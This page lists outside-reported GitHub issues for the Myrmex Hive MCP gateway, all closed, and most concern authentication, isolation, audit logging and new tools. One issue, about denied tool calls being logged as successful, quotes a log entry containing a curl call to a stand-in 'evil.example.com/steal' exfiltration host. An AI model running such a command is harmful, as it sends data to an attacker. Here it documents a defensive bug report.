# Reported issues for Myrmex Hive

Pod holds 20 of 24 problems reported by people outside the maintainer team. Issues filed by the project's own owners, members and collaborators are excluded entirely — a maintainer's release checklist is not a warning to a prospective user.

Back to [Myrmex Hive](/mcp/myrmex-hive).

## Most discussed

### Alert webhook has no auth (bearer/custom headers) or TLS control

## Problem
`alert_webhook_url` (#100) POSTs alerts to an arbitrary endpoint with **no authentication**. There is no field for a bearer token or custom headers, so the only way to authenticate today is to smuggle a secret into the URL itself — which then lands in config, logs and error messages.

Documented as a known gap in `docs/OBSERVABILITY.md`:

> **No auth on the webhook yet.** There is no field for a bearer token or custom headers, so point `alert_webhook_url` at an endpoint that either do

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/127) · 2026-07-14 · closed · 1 comment

### Tenant isolation / per-tenant token namespaces

## Problem
Today all tokens and agents share one flat namespace, so the gateway cannot safely serve multiple tenants (MSP use case).

## Acceptance
- Introduce a tenant dimension: tokens, agents, and tool access scoped per tenant.
- A tenant cannot see or call another tenant's agents/tools.
- Backward-compatible: single implicit tenant when multi-tenancy is not configured.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/115) · 2026-07-02 · closed · 1 comment

### Submit server.json to the public MCP registry

## Problem
Myrmex Hive is a working MCP server but is not discoverable in the public MCP registry.

## Acceptance
- Author/validate a `server.json` describing the gateway MCP server.
- Submit to the public MCP registry and document the process.
- CI check keeps `server.json` valid against the registry schema.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/102) · 2026-07-02 · closed · 1 comment

### [Epic] Operational Polish & DX

## Summary
Gaps in health checks, versioning, branding consistency, install method, and MCP-ecosystem distribution. This epic tracks operational-polish and developer-experience work to make Myrmex Hive production-friendly and easy to adopt.

## Child issues
- [ ] #54 — Unauthenticated `/healthz` and `/readyz` endpoints
- [ ] #60 — `--version` / build info in all binaries
- [ ] #65 — Fix branding/module-path consistency
- [ ] #68 — Installer pulls released binaries instead of compiling on target

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/80) · 2026-07-02 · closed · 1 comment

### Constant-time token comparison

**Problem:** Bearer token validation used == comparison, exposing a timing side-channel.
**Acceptance:** Token comparison uses subtle.ConstantTimeCompare.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/19) · 2026-07-02 · closed · 1 comment

### Never log auth token; write secret files 0600

**Problem:** The auth token was written to logs and config files were created world-readable (0644).
**Acceptance:** Auth tokens are never logged; secret files are written with 0600 permissions.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/18) · 2026-07-02 · closed · 1 comment

### Verify gateway host key on agent + TLS verify by default in CLI

**Problem:** The agent used InsecureIgnoreHostKey and the CLI defaulted to insecure TLS, enabling MITM.
**Acceptance:** Host key is pinned or TOFU-verified on the agent; CLI Insecure defaults to false.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/11) · 2026-07-02 · closed · 1 comment

### Bind agent identity to authorized_keys key comment (anti-spoofing)

**Problem:** The gateway trusted the attacker-controlled SSH username as the agent-id, allowing spoofing of any agent.
**Acceptance:** Agent id is bound to the key's authorized_keys comment; the gateway rejects mismatches and duplicate-agent registration.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/9) · 2026-07-02 · closed · 1 comment

## Most recent

### Audit log records DENIED tool calls as status=success

## What

A tool call refused by the agent's allowlist is written to the signed audit log as:

```json
{"action":"api_call","command":"run_command {\"name\":\"curl\",\"args\":[\"-s\",\"--max-time\",\"3\",\"http://evil.example.com/steal\"]}","status":"success","details":"Tool execution completed"}
```

`status: success`, `details: Tool execution completed` — for a call that **never executed**.

## Why it matters

The refusal happens agent-side; the gateway only sees that the round trip completed, 

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/174) · 2026-07-21 · closed · 0 comments

### Full OIDC/JWKS token validation (native)

## Problem
Gateway auth maps static bearer tokens to roles. Enterprise SSO requires validating real OIDC-issued JWTs natively, not just trusting a proxy header.

## Acceptance
- Native OIDC support: validate JWT signatures against a JWKS endpoint, check issuer/audience/expiry.
- Map validated claims to existing roles (admin/operator/read-only).
- Static tokens remain supported for backward compatibility.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/114) · 2026-07-02 · closed · 0 comments

### Enforce fine-grained agent/tool scoping on the /message SSE MCP path

Follow-up from epic #27: per-token agent/tool scoping (authorizeToolCall) is enforced on the REST /api/call path but NOT the /message SSE MCP transport, which currently enforces only path-level RBAC. Threading the request scope through the async JSON-RPC dispatch needs a handler-signature refactor. Tracked separately so epic #27 can close.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/91) · 2026-07-02 · closed · 0 comments

### Publish gateway as a first-class MCP server in public registries

## Problem
The Gateway is a full MCP server but is not distributed through the MCP ecosystem, limiting discoverability and adoption.

## Acceptance
- Publish the Gateway as a first-class MCP server in public MCP registries (e.g. the MCP server registry / directories).
- Provide required metadata/manifest and install instructions for MCP clients.
- Document the distribution/publishing process for future releases.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/77) · 2026-07-02 · closed · 0 comments

### External host-public-key distribution for third-party verification

Problem: Third-party auditors cannot independently verify the signed audit log without trusted access to the gateway host public key. There is no supported way to publish/distribute it.

Acceptance:
- Gateway exposes/publishes its host public key (e.g. REST endpoint and/or exportable file).
- Documented, offline-friendly way for auditors to obtain and pin the key.
- `myrmex audit verify` can consume an externally distributed public key file.
- Key format and fingerprint are documented for out-of

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/69) · 2026-07-02 · closed · 0 comments

### OIDC/SSO for operator authentication

## Problem

Operator authentication is static bearer-token only (`tokens` map to roles). This lacks central identity, expiry, and SSO integration. Operators should be able to authenticate via OIDC/SSO.

## Acceptance

- Gateway supports OIDC/SSO login for operators (CLI, MCP, REST) alongside or replacing static bearer tokens.
- Identity claims map to existing roles (`admin`/`operator`/`read-only`).
- Tokens/sessions expire; identity is captured in the signed audit log.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/55) · 2026-07-02 · closed · 0 comments

### Enrollment API with short-lived join tokens

## Problem

Onboarding a new agent is manual: generate an Ed25519 keypair, then hand-edit the gateway's `authorized_keys`. This does not scale and is error-prone. Agents should be able to self-register with a one-time, short-lived join token instead of manual key editing.\n\n## Acceptance\n\n- Gateway exposes an enrollment endpoint that accepts a short-lived, single-use join token.\n- On valid token, the agent's public key is registered automatically (no manual `authorized_keys` editing).\n- Joi

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/48) · 2026-07-02 · closed · 0 comments

### Tool schema versioning + capability advertisement

## Problem
As typed tools are added, agents will vary in which tools and versions they support. The Gateway/LLM needs a way to know each agent's capabilities rather than assuming a fixed tool set.\n\n## Acceptance\n- Agents advertise supported typed tools and their schema versions.\n- Gateway surfaces per-agent capabilities (e.g. via `tools/list` metadata).\n- Versioning scheme defined so schema changes are detectable.\n- LLM orchestration can gate calls on advertised capability/version.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/46) · 2026-07-02 · closed · 0 comments

### Kubernetes node/pod introspection tool

## Problem
Kubernetes queries through free-form `run_command` are unstructured and risk mutating actions slipping through the allowlist. A typed, read-only tool constrains and structures cluster introspection.

## Acceptance
- Typed read-only tool for kubectl-style node/pod queries (get/describe/logs).
- Mutating verbs rejected by construction.
- Validated inputs (namespace, resource name, log bounds).
- Structured output for nodes/pods and bounded logs.

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/43) · 2026-07-02 · closed · 0 comments

### Bounded file read/transfer tool

## Problem
Reading or fetching files today relies on `run_command` (cat/head/etc.), with no size bounds or path restrictions. This risks unbounded output and access outside intended directories.

## Acceptance
- Typed tool to read/fetch files from allowlisted paths only.
- Enforced maximum size limit with clear truncation/error behavior.
- Path validation rejects traversal outside allowlisted roots.
- Structured result (content/bytes, truncated flag, size).

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/36) · 2026-07-02 · closed · 0 comments

### Per-request model override, timeouts, retries

## Problem

Model selection is fixed and LLM calls lack resilience controls. Operators need per-request model choice and the orchestration path needs timeouts and retries so a slow/unavailable engine does not hang requests.

## Acceptance

- REST/MCP LLM entry points (`/api/chat`, `ask`) accept an optional per-request model override.
- Configurable request timeout and bounded retry/backoff for engine calls.
- Sensible defaults; failures return a clear error instead of hanging.
- Applies across a

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/34) · 2026-07-02 · closed · 0 comments

### Agent heartbeat + liveness tracking

## Problem
Agents report system info once at connect and the registry is purely in-memory. The Gateway has no way to detect a disconnected or stale agent — a dead tunnel looks the same as a healthy one until an operator tries to call it.

## Acceptance
- Agents send periodic heartbeats over the `mcp` channel (configurable interval).
- Gateway tracks last-seen per agent and derives a liveness state (online / stale / offline).
- Disconnects and staleness are detected within a bounded window and su

[Read the thread](https://github.com/olafkfreund/myrmex-hive/issues/33) · 2026-07-02 · closed · 0 comments

The remaining reports are on [the project's issue tracker](https://github.com/olafkfreund/myrmex-hive/issues).